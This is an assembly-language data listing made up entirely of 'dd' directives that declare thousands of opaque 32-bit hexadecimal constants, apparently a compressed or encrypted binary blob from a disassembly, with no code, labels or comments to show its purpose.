dd 9D5B470Ah, 215E4C14h, 9F80FB5Fh, 5AD1B2Bh, 33550077h
dd 4513DD60h, 9A0C0315h, 51A7BE44h, 69950622h, 11DFAEBDh
dd 0C77C12E8h, 0A0BE20C5h, 903B1400h, 0AB02D2C4h, 8E2EE0A0h
dd 0F1B3037Bh, 0CFF74480h, 0C62B091Bh, 7B94F820h, 2AC75CCh
dd 23601885h, 0FCC05E65h, 59C0F5A2h, 78A66E01h, 0C4E8E159h
dd 2368189Ah, 0E73F7929h, 6F03D3F0h, 635F5DCBh, 0ACA6B004h
dd 0C248A532h, 2818C47Dh, 69870389h, 27051C0Fh, 2080F010h
dd 132411h, 6D9C10EEh, 0B78DD2h, 3A8E3365h, 65B4195h, 10C2FD16h
dd 7731B10Fh, 0C338D200h, 0E89BB636h, 9F420640h, 7813F39Dh
dd 0A8E53B2Ah, 3A29C500h, 0ABAFCCA2h, 3E410074h, 0F1673763h
dd 39E2B7E0h, 0D14F5230h, 74A9BD11h, 917BEEFBh, 751F021Ch
dd 3B203D41h, 0C0DC170Eh, 608AB661h, 1B007FA1h, 98ADE0A3h
dd 0EBB22Fh, 0D80EFF88h, 0A61337F8h, 9324FCE0h, 4E05E2EDh
dd 0F4240322h, 0FDE0043Eh, 10C3C345h, 928BB17h, 83B29D18h
dd 208BF001h, 82026024h, 72A40B00h, 5D061711h, 9D450CF4h
dd 642980E5h, 782540h, 0F23CD18Ah, 409058EAh, 43EE9B07h
dd 0B30448B4h, 0E4ABDD80h, 0CCA902BAh, 58F83F98h, 8B6EC840h
dd 0E3264Ch, 0B294D911h, 0FDDCAFh, 0C4FB1D6h, 93260F5Ch
dd 0FF3F7BB0h, 0EF390070h, 0AC6BC03Dh, 337A005Bh, 1AA3BF64h
dd 4173245h, 4E00536Ch, 70BDBC61h, 0EB2602C8h, 0D10B6BE4h
dd 36BEAFE0h, 0D50C4E00h, 0FCA9EC83h, 0B8B03BDCh, 8FB3CC9Dh
dd 2480AE3Bh, 0EEB1A4C1h, 4BBD0601h, 0A2979670h, 48BA28F4h
dd 9F2EADAAh, 26400029h, 877A2E09h, 3F7DAE00h, 6FC32C77h
dd 6698006Dh, 9E79A13Bh, 0AB010565h, 84AEA8E5h, 806F0FD1h
dd 85425549h, 0AC886A00h, 5B5C79B6h, 68465C51h, 3AE78A01h
dd 0E8A9AF1Dh, 0F13C9573h, 4D318FF3h, 6441C06Dh, 530024Bh
dd 0B904619Dh, 699C0E89h, 803E74AEh, 8110493Dh, 6A006CCBh
dd 0C6AB0ACAh, 87B4D8h, 0F04F3FE3h, 0F6117054h, 5A00C3EAh
dd 81CC7DFEh, 1FA74436h, 1E9628A2h, 20018092h, 0DF2B55FDh
dd 53324600h, 1DE5B221h, 1356FC7Dh, 4C8750B8h, 0F2501E10h
dd 39B9C400h, 56BD2F7h, 0F670083h, 868075CEh, 933BC2CCh
dd 0F9BF8066h, 0F0AE5592h, 0AA190724h, 70566370h, 0F3C87195h
dd 22AC2A00h, 2DB5187Ch, 6E9D0934h, 680048A9h, 0A0375FE3h
dd 69FD4733h, 0A0E79B7Dh, 3ABC62CDh, 3D00227Fh, 0A97310D7h
dd 3C0F2E38h, 4037F14Fh, 3BA6CFB0h, 0D4EA92h, 7C1E5922h
dd 0E215BD30h, 3630F6EEh, 567A59C8h, 350C00FEh, 0CFD09F6Ch
dd 30C058EEh, 0C13FEAF5h, 0BBA00192h, 0FF5F2683h, 623980D0h
dd 38275D6Eh, 94EF01B2h, 3C83C873h, 0D457C84Bh, 860F000h
dd 1EB1FCCDh, 80107A3Eh, 9D1CB022h, 5FC09E44h, 8DE29358h
dd 1CF4704Eh, 42BC0Bh, 4181943Ah, 5800EF52h, 5D0A6AC8h
dd 776E8232h, 69B003Fh, 8189DB2Eh, 0E874277Bh, 11E47C00h
dd 5F51E978h, 0E7E1389Eh, 87C9B380h, 2572035Ah, 8617B00h
dd 855B7D8Fh, 1898CBh, 56599DACh, 0F02A9545h, 9AAA0A0h
dd 0C0247EEEh, 1B81102Dh, 0C510FF90h, 97FCC8EFh, 6D290053h
dd 9104ADF7h, 0CDF4F639h, 84EC9048h, 188817EAh, 0C14B2423h
dd 0B027C738h, 339C212Bh, 98FAFE0Bh, 56542080h, 0F575E9Eh
dd 6268B24Fh, 0A5E23058h, 58002878h, 24094344h, 3E09E71h
dd 0ECB16193h, 19C88F80h, 6A008795h, 0CFBF7B7Ch, 2C6288h
dd 2BACF850h, 611360B6h, 0F068DF13h, 95E09C40h, 12FBC6D2h
dd 40A4FFC1h, 92422E20h, 549815B1h, 6E07F5F6h, 5702B2DEh
dd 9F77570h, 0FE9F00EDh, 0F8D06332h, 0F10C3F0Eh, 0B021D2B8h
dd 0C286033Dh, 65E5DEE4h, 569E0BE8h, 0FED91800h, 19707F23h
dd 345E485Dh, 247CD24Ch, 44E40C22h, 64708086h, 0DCEBCC09h
dd 480EBA84h, 0A53A3911h, 0D45F984Eh, 2476AA00h, 0B38E55h
dd 35445E03h, 93BC598Ah, 0B3FF1324h, 0EF95482Ch, 9231A0ACh
dd 470A0CADh, 6EE06B1Fh, 904FC229h, 0E401C04Fh, 546298A7h
dd 134E413h, 32F161EFh, 48813D1Bh, 920068C8h, 7AF7D259h
dd 19EA59Dh, 0E4D8B426h, 30230D30h, 9EAC328h, 0D32EAF0Ch
dd 0EA51F4h, 0FB6C6374h, 9ADECC8Ch, 80C5563Fh, 7B495F46h
dd 0D730B7h, 1707C669h, 0F094E803h, 57AC2316h, 835DF403h
dd 685C905Eh, 501C132Eh, 0B19021FAh, 0C23420DDh, 125BE209h
dd 3750300Fh, 1C6905D6h, 92FDE389h, 346C8DACh, 616FB415h
dd 0A407019Ch, 0C3AADDE8h, 680B1C23h, 0A8004270h, 0D5F0A1F4h
dd 51866604h, 0E883B093h, 6D290083h, 97C16F89h, 0B003013h
dd 4FDAC4A5h, 92B720FFh, 0A4705184h, 0F1DDC0h, 7ED0ED8Ah
dd 18DC1617h, 0F04D600h, 1214119Ch, 392E002Ch, 90562FA0h
dd 2C924435h
dd 0F7CAB800h, 0EB1678C1h, 0D1650319h, 84902886h, 1D89EEC0h
dd 3A1A6B00h, 48410564h, 6175395Bh, 0AD80E04Dh, 5160DA79h
dd 0D9A40B50h, 0A8DF0C00h, 0A4C7C55Eh, 1AD402D5h, 0F8AF5BB9h
dd 0F8644C49h, 520C1D2Bh, 0A0BAF52Ah, 0C74701A8h, 0EC15A96h
dd 9422C2h, 0CA148A9Fh, 791C76h, 0F7E3BA02h, 0B3B9C80Dh
dd 0E5CCA418h, 0F0674212h, 95F83Ah, 4F0AB045h, 845DA686h
dd 70037890h, 8F2DCB16h, 9870D791h, 8D7232h, 6685EC3Dh
dd 5551B4B9h, 13E3B38h, 5E0796E8h, 0D861BCC8h, 43A260D2h
dd 648A006Ch, 7AB93D76h, 0DD00DA5Ch, 48D171D0h, 0C4092h
dd 38B8D5FBh, 0DA19CD50h, 628D7907h, 0D4672364h, 5C80D3E1h
dd 28135828h, 0B68C0038h, 509FAA33h, 30CEF32Ch, 0CB414840h
dd 8FD200C3h, 0AF9BC668h, 121C76D6h, 0E59D6361h, 67B65240h
dd 0B887533Fh, 0E3E40024h, 310CFADAh, 0E5006B50h, 0CF2296F5h
dd 0B5CA43h, 0E06A7012h, 30641B89h, 25272F00h, 0ECBA0963h
dd 0B805006Ch, 2EC9E608h, 0D6005D6Dh, 0C555FE86h, 3C2204DCh
dd 0E30923F1h, 442287D3h, 10C49E4Fh, 50F14220h, 24A7E2C2h
dd 80DC2578h, 7B27C813h, 3A01AF2Dh, 44062656h, 0EB4585F3h
dd 3525A880h, 8C73074Dh, 3067127Bh, 345F9291h, 0B5D3DE13h
dd 9B853842h, 0BE0D60CFh, 9394A8CAh, 0B1233A4Eh, 0FCB56F00h
dd 445B552Ch, 458FFF00h, 7884508Bh, 61C00039h, 0B7981B0Fh
dd 0C2023309h, 1ED8AD6Ch, 0B434E06Bh, 0A3F21CB8h, 45D90051h
dd 0BD506527h, 0F6038670h, 0EA1CC7A8h, 643DAA30h, 0F3ED0050h
dd 6B7151CAh, 0B30283A3h, 2A9CB8D1h, 0D8884932h, 0D084F063h
dd 8EC8DC7Bh, 15C90C00h, 8D33AFD6h, 0AEC4A65h, 534EAE0h
dd 0D099EB83h, 0CBC7C130h, 600289F2h, 446293BAh, 107B60E6h
dd 447D4D33h, 4D42AB01h, 8EC4B513h, 73C1CF39h, 0A00AC407h
dd 2CD2D9B4h, 559D10CDh, 0BC946424h, 8210A002h, 1C94E793h
dd 9EE8A4C6h, 0E88B18E7h, 0BE0083C3h, 178EE475h, 0C7FD3B4h
dd 0B5745B2Ah, 2509AE70h, 23BB3AF5h, 0BD3CC4F0h, 0B882D487h
dd 35E864DFh, 98976Dh, 0BCFDC690h, 0AA4C27F5h, 0E63F24E1h
dd 3383826h, 12A9ABCDh, 85F0BA6Ch, 24CAC2D7h, 7E48110Ah
dd 47828088h, 355E53ABh, 0F491E899h, 0CC9320C4h, 0DD30D794h
dd 0E7067010h, 39F00A0h, 0CB960C38h, 0C498636Eh, 0BBA3EE00h
dd 0BDDBB68Ch, 20EA5D33h, 93A0A800h, 0A2971B87h, 0D6B77D03h
dd 0C579B07Fh, 93002CCFh, 2388FE1h, 78C04803h, 7DB5A092h
dd 395D021Ch, 60759713h, 0FA66C8C8h, 41DC2730h, 5821684Fh
dd 800A41Ah, 0E141184Ah, 6790F264h, 0D8A8E0E4h, 0B703BEC2h
dd 43295988h, 60788866h, 9BAA0077h, 823C736Bh, 0E0012FA2h
dd 9DFC8A75h, 10205667h, 0A9FF002Bh, 896F060Bh, 0A1B2D24h
dd 0E0814CCBh, 90DD4153h, 40490034h, 88B6FD9Ch, 0F9A02917h
dd 0FFEC20D5h, 6401E379h, 0DB0F262Eh, 418A571Eh, 86DC0218h
dd 48D34AB5h, 0C459D52Ah, 2945D131h, 150050A5h, 5A0024A6h
dd 0FE4BB325h, 3AF12E36h, 480085D7h, 0A683D508h, 0AB786ACBh
dd 0FDB79000h, 2A940CEEh, 0F5FCC0h, 0AC5D9958h, 2654E087h
dd 0D1000490h, 62FE3E56h, 29CFF2h, 0D94A3DEAh, 8AAC91FFh
dd 2C428800h, 40131B3Ch, 448B1C9Ah, 741780CDh, 0ECA40248h
dd 34549407h, 4540DF9Fh, 3E6FA8E2h, 0F12E62D9h, 0D46E8138h
dd 40EDA37Ah, 0C95AD2EEh, 0DA1DFD00h, 156A02ADh, 0C4E00B3h
dd 0C6A6591Ah, 7C3D7AF1h, 938F80ECh, 0A48E79D7h, 202B00BBh
dd 36B67847h, 637718A5h, 2749F300h, 0E452F215h, 0C60D1761h
dd 4B840195h, 4733AD81h, 0B36AD0A8h, 0C31D11DDh, 71CB387Eh
dd 90240955h, 0EFAF86Ch, 8B69F53Bh, 0C05A5D5Eh, 6B275FBEh
dd 54000F60h, 0DA1A7403h, 35E72F5h, 92A381A0h, 4EA8124Bh
dd 0AB0FF901h, 0B828EF32h, 1D4DCF58h, 0E7C620EAh, 0D8AAF800h
dd 0F91F3572h, 0AB4C0E03h, 5FAEA8h, 0B58FDC3h, 93E8D74Bh
dd 0DD7F1600h, 8878E6FBh, 8C652811h, 75DF0084h, 0AD6D40C6h
dd 281FA198h, 0B14E2F55h, 0E64C809Bh, 0C64A11h, 466707BCh
dd 45ED9818h, 0B63940B0h, 0FAFA61Bh, 3AF426h, 3E192F65h
dd 604DB02Dh, 0C41828EFh, 505431Bh, 0BF23D189h, 3DD0A0h
dd 91B1A64Fh, 45C052B2h, 78F40171h, 0DF078E79h, 4E4DDE5h
dd 7DFBD680h, 2FF80044h, 0DE6F7426h, 0BF00EF35h, 4F9EBDB0h
dd 301D518h, 11E599DBh, 0CAECB843h, 4E3600BCh, 41E0BE3Fh
dd 35570046h, 782E963Ah, 5B045C85h, 0CD4A38F0h, 0B8489C83h
dd 46A3EDh, 595F8DC4h, 47411B54h, 0EE31D500h, 0A01D3D93h
dd 7E7B001Ah, 7FB07714h, 0D0010ED9h, 62E7F6E1h, 0A3F8B69Dh
dd 0E5F90304h, 8BA688CCh, 970432AEh, 1C19C256h, 0FC720B0h
dd 750110F3h, 0A974835Dh, 58D031A0h, 544D66B5h, 5ED30048h
dd 0EC451761h, 83EEC043h, 340DFACEh, 0FC82FC25h, 0A8F41C4Ah
dd 56F044F0h, 1070254Eh, 0F5E8812h, 5A0628FFh, 0BDEAF881h
dd 59E860ACh, 0EBEC10E5h, 0FF550077h, 63B1BC31h, 0B9247517h
dd 0A300B8CDh, 0D03E96E3h, 14F600F1h, 4AA5482Fh, 576E99DCh
dd 0AF2A20F0h, 9063926Dh, 0CE6A0E78h, 0E743E6E2h, 1A3E9A69h
dd 40BE807Fh, 0FB523509h, 0D8FA0134h, 3F9DC2B6h, 0D0643515h
dd 24009CADh, 0BBF04006h, 0D2E7E29h, 321DD52Fh, 0E4B4D1B0h
dd 9270711Ch, 0DA167F01h, 5BED3A6h, 0D5C430h, 66E00638h
dd 1F6A57AEh, 100AA7Fh, 0E45ACEE5h, 850ECAh, 0B6C3CB1Ah
dd 0AC920F93h, 18FF6D00h, 0B67EE50h, 31D70044h, 0C959DFD6h
dd 0E9000AA5h, 766887CEh, 488CE31Eh, 8E0040B7h, 0B87BDB88h
dd 5C2F2DEDh, 0A98821FCh, 63C86679h, 0BF0B00DFh, 2329FF4Bh
dd 0CD003AAEh, 0D6CCCE7Eh, 691104h, 0AAFE5335h, 0CA5898C2h
dd 38F5FC00h, 9C568061h, 7F78FA85h, 0D7AB0314h, 0F7629672h
dd 0A2F56900h, 90AC26E0h, 0FB5E3E7Ch, 0D6FC4400h, 758143C3h
dd 90C14D2Eh, 0F6894A80h, 1D46D90Dh, 0F0F1AFh, 21DD02CCh
dd 451D2B31h, 800579Bh, 4C3927EAh, 660F0F7Bh, 0E107E877h
dd 0F08744h, 0C8CBFF0Eh, 0BC46C000h, 0AF3AF6C4h, 0FA1D0EC9h
dd 19A35EA9h, 6000F2C6h, 15C14C7Ch, 71001C8h, 0E35FD920h
dd 109217D6h, 4B77B597h, 0EBE2EA03h, 39E64FC0h, 2685C599h
dd 0D09234BCh, 2706CFB8h, 0A50740BAh, 0C38872E7h, 0C29673B3h
dd 0A3109115h, 0F10D1C51h, 1A11F080h, 0EF45132Ah, 17DB7000h
dd 98B47DA9h, 295C0008h, 0FCA3A106h, 674CC993h, 27220FDBh
dd 553FE13Dh, 0A45029FEh, 7A3693A7h, 0D8BA49E1h, 0D2D14100h
dd 3786D5B9h, 0B86AEF07h, 0E1CEBFB3h, 7B644C25h, 9EE0420h
dd 1514ED1Ah, 0ABC59F80h, 8C126894h, 0E000BA8Bh, 804747Fh
dd 7D1783Dh, 4938E769h, 14AE501Dh, 663AC606h, 1FF00065h
dd 134D09F5h, 8E8703BBh, 55050F59h, 0BC2F80F5h, 1B0079FCh
dd 0FF651E8Ch, 24AEE10Dh, 8F312Ah, 0C377E9BEh, 6300CD30h
dd 5A198BB8h, 57B6536h, 276E509h, 30AC801Dh, 1E000564h
dd 2E015BB4h, 789070h, 142FECAFh, 91CB1183h, 812DD800h
dd 84D2062Ah, 31360C5Fh, 6B1E7574h, 59C58501h, 0E67BBDD4h
dd 78F44EDCh, 32363A49h, 54210280h, 0B181635Ch, 3F9FB802h
dd 61D14A33h, 0ACD42C2Fh, 38B0C0h, 4B9C8D74h, 3AE969B9h
dd 73233307h, 0FA200BF5h, 0B40D332h, 1E450556h, 0DDCC28C0h
dd 269A2C18h, 0E2AE11h
dd 4025B3AFh, 85365666h, 8F688225h, 0BC090A98h, 0A0FFF589h
dd 96971B8Ch, 0F439385Fh, 46F8E684h, 0D090A1B0h, 3A009911h
dd 82B7278Fh, 0E2E2365h, 3E91FEFAh, 0DC7E9C2h, 0BE13A081h
dd 3986E0F0h, 7EC84Ch, 0A52E7F85h, 0B6649FB0h, 0CAFA09D4h
dd 0A100806Ch, 43C378Dh, 3F41D2Eh, 452FB9FEh, 0A788B0A8h
dd 0D138D5CDh, 8FB780F2h, 0F577614Ch, 0B5DD0717h, 407C1D8Eh
dd 6ACAEFA3h, 76E40100h, 0E102C3EEh, 0ABC60105h, 815841Ch
dd 9C10D07Ch, 0CBB48D50h, 2AE8E100h, 6F315F99h, 0DBB600C2h
dd 4F5EBDD5h, 7401BED7h, 7D6BB961h, 4EF4E69Dh, 0A82C1F9Bh
dd 0EF90C131h, 9CF6641Ah, 0DA97F080h, 60B1B088h, 0B45258DDh
dd 0D700B9A5h, 9ACE3F8Eh, 946D5A8h, 0A72EA9DFh, 5D73C060h
dd 82EFE900h, 84BC8D27h, 0CDA00D3h, 7E0A868h, 0BD075E3Ch
dd 40A68367h, 0CCD735F0h, 5D3D01D3h, 3E24B278h, 7F8040EEh
dd 0F70038C6h, 0D3A2D462h, 1175CC0h, 6CB849DFh, 3C947BACh
dd 2A7C80A0h, 0D82BB7h, 9F1EC3Fh, 0A639BC58h, 7C04400h
dd 7E25454Ah, 4902005Ah, 2E646FC4h, 701C8E1Fh, 0EC05FA1h
dd 142073E9h, 0DF7A02B6h, 0B8847897h, 5C6B4869h, 0CF1CB384h
dd 6F80EE1Bh, 70335DCDh, 5EC600A7h, 80232C2h, 0BE006E51h
dd 6A9CC3CEh, 0BDF51Bh, 0AA074F33h, 0E52EA396h, 4E3EA700h
dd 0FE3CC62Ch, 577E24E3h, 7058982Ch, 0C17C819Bh, 30929292h
dd 233BE001h, 0EBF3C0B9h, 4BC804D4h, 0BD98028Ch, 8449F4F8h
dd 299B70C6h, 0E89E3B32h, 811C569Fh, 97133831h, 0B652C848h
dd 94166B1Fh, 599BDF00h, 0E27B99D0h, 0DA610034h, 0F15C7523h
dd 5100C68Eh, 0D63DC2E5h, 16A0741h, 2B77A5E7h, 60DE1C58h
dd 8805A8B9h, 0E9E4B8DAh, 0BF6B480h, 42723749h, 0EA0EC011h
dd 3E0E778Ch, 0FBB72F78h, 0F138A018h, 0EF0600ECh, 98569D01h
dd 0DB00C6FEh, 5DBC6239h, 654526h, 714D31F6h, 0DA46C46h
dd 0E979DA01h, 0E49FE5F7h, 0BACECA60h, 0F0720034h, 2935B57h
dd 0A30091DEh, 0D3D57F37h, 0A0F64E21h, 733B084h, 586D9EA7h
dd 0F721EF96h, 20242FBCh, 0B101DDA6h, 0D4460976h, 1460BFE7h
dd 1BD23A64h, 0FC8F9880h, 2620FBD8h, 74F7C0A0h, 0A6E15Ch
dd 502557BAh, 25D24527h, 2040A6CDh, 0F2070DB9h, 35D7C9ECh
dd 0F94880F9h, 12EFE39h, 4DBD90CCh, 0E0F2D889h, 1B4C5AA6h
dd 90D12E44h, 1AF90038h, 0F19C1C53h, 7E30002Ah, 0F5256B8Dh
dd 3B004697h, 579D7164h, 4C915A3h, 74729062h, 38F080B2h
dd 7C003B76h, 0DE4FF62Fh, 24BAF5C1h, 1F87312h, 194572A0h
dd 0F1A9804Ah, 96E52827h, 891626C5h, 99FE0030h, 7CA3F70Ah
dd 7FE4351Ch, 0C4246540h, 7130CEBCh, 0F9A200EFh, 8C01878Dh
dd 91261367h, 0DB008316h, 6652D5DEh, 6274027Dh, 234F8FE4h
dd 5C394FC0h, 0C42D607h, 56A0B852h, 39947591h, 7480C151h
dd 9688F041h, 0D705B426h, 43D29E7Fh, 0D33C20ECh, 4C006A4h
dd 0A9638B71h, 0BFF70110h, 54135A94h, 0AB3C402Bh, 3EEBD989h
dd 3A762200h, 0F9FC033Bh, 6E7D00D3h, 0B427AF29h, 0A500056Dh
dd 49D765E3h, 0FAA4D511h, 0D69E1C86h, 8050000Dh, 0DE84C85Ch
dd 14E383Dh, 0B0DC7157h, 402AB386h, 0CCEC9668h, 7867C95Ah
dd 32B09AAAh, 0CB2B36h, 9F5DCFA6h, 11C5CC03h, 0B2D64700h
dd 0CDB59375h, 0DFC3C13h, 6F9CF381h, 0D09710F6h, 0DF00EE07h
dd 6EA07BEDh, 0A6F51Ah, 0DE4624D2h, 602D5B9Bh, 0A4CE9816h
dd 0CC53BE00h, 918864h, 81832E4Bh, 373C6F2Dh, 0BC1C3E04h
dd 2CA0C999h, 0E8DC00FBh, 0D9F34B08h, 22C0DD97h, 0A9C30170h
dd 0EA9F0ED6h, 89A0C2F2h, 90724069h, 1A6983Fh, 0CB84F930h
dd 807C5750h, 9D0DB702h, 0CCC0CFEBh, 725CDFABh, 14FCE2F0h
dd 83E8D0E6h, 18E05D31h, 0A2F0F0F7h, 0B0169805h, 0A5953AECh
dd 632007Ch, 2718CAC9h, 0E0066C5Dh, 0C072F6A3h, 88F0CD1h
dd 5D60C195h, 0ABE08C00h, 2886F74Bh, 704763B2h, 85C9ADh
dd 72E63D48h, 3673BB92h, 0DD7E2300h, 0E23F2E41h, 65EF0329h
dd 154F04AFh, 0CA06D087h, 3500E053h, 849118Dh, 0AA1A26h
dd 519BA754h, 85B92C61h, 0F5DCE200h, 0BD39A267h, 0F99F3E31h
dd 80510A1Eh, 0FEEBC90Bh, 0BF241583h, 3E00176Bh, 0FC73A485h
dd 0ABCF0382h, 9109FA26h, 0C79848A3h, 0EE007527h, 0A49D6C22h
dd 0AC33A21h, 323325E6h, 6D16A0h, 4BC463A1h, 0C807B0C9h
dd 8F50DB41h, 0A67FE250h, 20F700E5h, 0D7ABDC18h, 0DF00881Ch
dd 0DEE0AFA1h, 5E303Dh, 8B08CA97h, 6BDA957Fh, 48004FB0h
dd 9DD3C5C9h, 5890DB55h, 6D00FD1Dh, 18E065DAh, 0DC155CB4h
dd 0EC0D616h, 80A23024h, 0FDD759ACh, 381D0008h, 0B0E1AF43h
dd 1F0C92FAh, 31C6C9DFh, 93AC4EBEh, 0AE0AF6Ch, 0ACB8B1A7h
dd 0E44F2D01h, 0C8DC62E2h, 0C0485F3Bh, 9FA41BBDh, 7E2CE627h
dd 0A624A8A6h, 75021404h, 518B2C90h, 0B6EA3FA9h, 58C116h
dd 901496Fh, 5000DDAAh, 0A13C8317h, 3B854B67h, 0F40C0B7Eh
dd 0C710BB6Bh, 0EAC2D103h, 0C544E063h, 0F694DE07h, 4B740320h
dd 1DC81EC6h, 0AE2680CBh, 2948F797h, 1F630500h, 75568845h
dd 50DFFCE9h, 14C74F0h, 180A659Fh, 0D8087648h, 9209DB12h
dd 0DAE0ACBDh, 0F742BCh, 5FF97172h, 112A3EDh, 0F27515Eh
dd 0D0A04775h, 16142E45h, 0B5E54Fh, 27C4A8D5h, 1BE14D4h
dd 0A6049D8Eh, 0F7623E41h, 0D77DE1E0h, 544F3D07h, 0F521197Bh
dd 0C32F0B51h, 830FB8Dh, 0D18D21E2h, 0BD38C07Bh, 0A0ADE0B8h
dd 3F783Dh, 0D263B66Ah, 70C518Ah, 0A64F27A9h, 584293DAh
dd 0B40040A6h, 6F266A1h, 33375B8Fh, 0CD0896D5h, 0A9952100h
dd 419D3666h, 3B5917E7h, 68520050h, 2CA32731h, 0B840DE30h
dd 6029A713h, 543A18D2h, 42303DDBh, 21BD4963h, 34CB1F6Fh
dd 14810616h, 90C898D8h, 6001CBD7h, 484706EDh, 0A2888948h
dd 0B1661D9Ch, 7709E5Dh, 0DA291652h, 8EDF919Ch, 520F421Fh
dd 10E131FBh, 7BD79Bh, 2AF47787h, 3A042CAFh, 94665B05h
dd 0D2047D2Dh, 1D87227Bh, 0D15C57B0h, 90DE00CFh, 0CBF74237h
dd 0B47BB3CEh, 61DC6900h, 7A5F3D1Ch, 16CF00A9h, 63F7E45Bh
dd 1F005812h, 5EB87D9Fh, 0F055ABh, 0A9D7AAAFh, 3A32BEBAh
dd 0C9EDE71Dh, 0FED46BC0h, 7EF0CFh, 0B686A26Ah, 85D30FB2h
dd 0CB204903h, 0B0FB5A1Ch, 3B1EEBh, 0D641E9DEh, 4D8FBB74h
dd 99A40200h, 77A3ADCEh, 72820007h, 619B6417h, 7800CBC3h
dd 0D4715F55h, 14725ACh, 46D21534h, 0F427EAF1h, 0A1008548h
dd 6DE37D10h, 0E093D0AEh, 469D037Ch, 0B2F04ECCh, 268A83E8h
dd 0D16CFF00h, 8EA96EB4h, 0D5021C69h, 0ACB547BCh, 3C23E029h
dd 0C90FD197h, 80501BF8h, 95692E15h, 0C49A098Bh, 0A800540Bh
dd 211FF2D2h, 0BB17E21Eh, 55614800h, 76F189h, 0F01D26D0h
dd 3CA104Eh, 8B15FF1Fh, 8771C1C0h, 1921E676h, 582ADB0Eh
dd 1BA6F0F8h, 0E1B67F03h, 0B0F37102h, 3274Ch, 55DD4AD2h
dd 0D86BE585h, 0D916AA00h, 14E0B30Dh, 0E778BCh, 5F02D30Bh
dd 4DB2D36h, 82123E00h, 5A53AD65h, 6D90B2h, 0E2D0E8E9h
dd 61ED4B06h, 0F0931100h, 9D3719F8h, 0B147046Dh, 0C0E8F6C0h
dd 0C6B97AB4h, 797E913h, 0DC80E11Dh, 988AA07Dh, 0F31503F6h
dd 3C435A16h, 9115E14h, 4EC600A4h, 3638AD1Ch, 90D100B0h
dd 28B99E5Eh, 3A00DB91h, 9FF7DE3h, 38EFD3Dh, 0C6664557h
dd 11005A86h, 0C39D7DD7h
dd 0EC949B1Eh, 0D9F348A6h, 932A500h, 0DEA1A0B0h, 0E15DC000h
dd 683527C1h, 0E085001Bh, 48E9BF10h, 0C57B565Ah, 28FA7800h
dd 0C0DAC88Eh, 99EE00B4h, 2BF27F7h, 2F00B262h, 96FCC1A2h
dd 0C893D47h, 5F370114h, 2A0B2058h, 9F6B2Eh, 879EFFFh
dd 57260061h, 3DB93C32h, 0D91F176Dh, 120427F8h, 9FC07A48h
dd 0F81BED0h, 8792B721h, 5AC0BF6Fh, 0A6C02F59h, 6F0CF802h
dd 0C027CAEFh, 653A29h, 89FF643Bh, 2F9DF3B8h, 43165D0Fh
dd 25CB20F7h, 678B45h, 0C74CBC12h, 181B422Ah, 3FAD4D2Ch
dd 8545E100h, 1A5A76Eh, 35190F12h, 0FCF530F8h, 0FBF4A1A2h
dd 3C5B94A8h, 6DF234A0h, 83CE593Ch, 0F39A178Eh, 63B79050h
dd 0F082019Fh, 52C06494h, 6684FC54h, 0ED735D07h, 0C540C6E1h
dd 459F7Dh, 87C84479h, 233D9B60h, 902913Fh, 0A27A08h, 1925A144h
dd 0B610739h, 9F51A97Dh, 919E7E46h, 3A0B2FE0h, 7FD5EDB6h
dd 2AC58380h, 1400C765h, 7DC457F4h, 72C9CAh, 0BAF3ADC1h
dd 645D4D1Ch, 56AB102h, 0E080F444h, 3D086Eh, 0F376FB8Bh
dd 0C62C691Eh, 0D04F7224h, 0ACE17B80h, 0E163BD8h, 0B3E0B21Ch
dd 58B434E0h, 26302742h, 0C935284Dh, 0B210241h, 62CDA2C7h
dd 1F14F7DEh, 20DB08A4h, 351C005Fh, 5A8E1869h, 1FE9A800h
dd 0A325417Dh, 0F0307914h, 5BD600BAh, 95D10399h, 0B20769FDh
dd 27050C0Eh, 1853ACD3h, 648C9070h, 0F81DDE83h, 54C063F6h
dd 0B4D4E347h, 1D130052h, 0FD607E81h, 0F707CA1Bh, 87E16470h
dd 56E0403Fh, 1F8AA4E9h, 8746487Eh, 0CC8141A1h, 0ED3A7F20h
dd 0D490090h, 5FA1154h, 1F445h, 8B9C7DF9h, 0E0C60F66h
dd 722E131Fh, 0FDD5D400h, 508E473Ah, 3BBE90B2h, 4C8C5C62h
dd 0AA593D3Bh, 6AF1E560h, 0F1BF52h, 0D9FA8343h, 8F9AE001h
dd 7A64E100h, 5FF54B29h, 303B3B85h, 91D8A48Ch, 1B006090h
dd 0AC53F212h, 3EF3F8FFh, 72052233h, 838C9454h, 0BD84388h
dd 0D426AC64h, 2A00ECE6h, 0E5795530h, 6683021Bh, 8489BDBFh
dd 11A87C40h, 550016F0h, 0A16C1342h, 3021A45h, 621D1DEh
dd 0F1F75EC2h, 0ECCC640Ch, 81001787h, 0C335C607h, 7E123485h
dd 4F690005h, 27F6BFE2h, 9C002AA2h, 8DBDA9E1h, 494B8214h
dd 0D3035CB1h, 248B1CC0h, 30BE25E1h, 991D9638h, 0BC184F0Ah
dd 16CA110h, 8CCEE512h, 0F07A3DD6h, 0F01E6308h, 29C13EB6h
dd 582783EEh, 0E0F75835h, 989FB41Bh, 0BE5F303Ch, 27B18BF0h
dd 3100C3B8h, 7AFEA473h, 68E7C203h, 0E9E392Fh, 0C34067E1h
dd 61F359B2h, 51B8F700h, 0CAE5D14h, 0C40B1C4Fh, 0B3B440BFh
dd 0F5203E2Fh, 5AE1F200h, 35BCACCEh, 7415074Ah, 0FE340EA4h
dd 0E260B8AFh, 0D344CE36h, 18B7E300h, 0AD2E3283h, 7D9100BDh
dd 2454EF39h, 4D00D682h, 5EFBCBCFh, 988A222Fh, 328903B4h
dd 0C6EF835Bh, 368499D8h, 0FE91B2A0h, 28D1C03h, 0C7753D58h
dd 0F10E1220h, 39CD2E2Eh, 0FBF40363h, 41A8B997h, 4C000B93h
dd 35ED1D72h, 2425FF65h, 587620h, 94624FF3h, 1F00C105h
dd 30FD2988h, 5448563h, 0B624775Fh, 3328871Dh, 0C7F8FA59h
dd 6300F5AFh, 3B7D7BB1h, 2F976Ah, 80D56485h, 4C28E662h
dd 0EB6C9F1Eh, 8D763000h, 1DCB39A3h, 0C065D40Fh, 0CD06604h
dd 0DF00993Ah, 0E8AA1BCh, 0FB50FAh, 0F9B665D2h, 120CA37Ch
dd 70436D05h, 67C05D41h, 0BEED8Fh, 3ABFC228h, 0DC1F3D16h
dd 9FE2CD00h, 7A882946h, 421B03F2h, 542876B9h, 0DF8653B0h
dd 2CC4221Eh, 743CAC3Eh, 182BBE00h, 49AD3FCAh, 0A00F18E9h
dd 0BDA0071Ch, 2EF8D43Dh, 0AA36700h, 0A783F1CDh, 18C00D7h
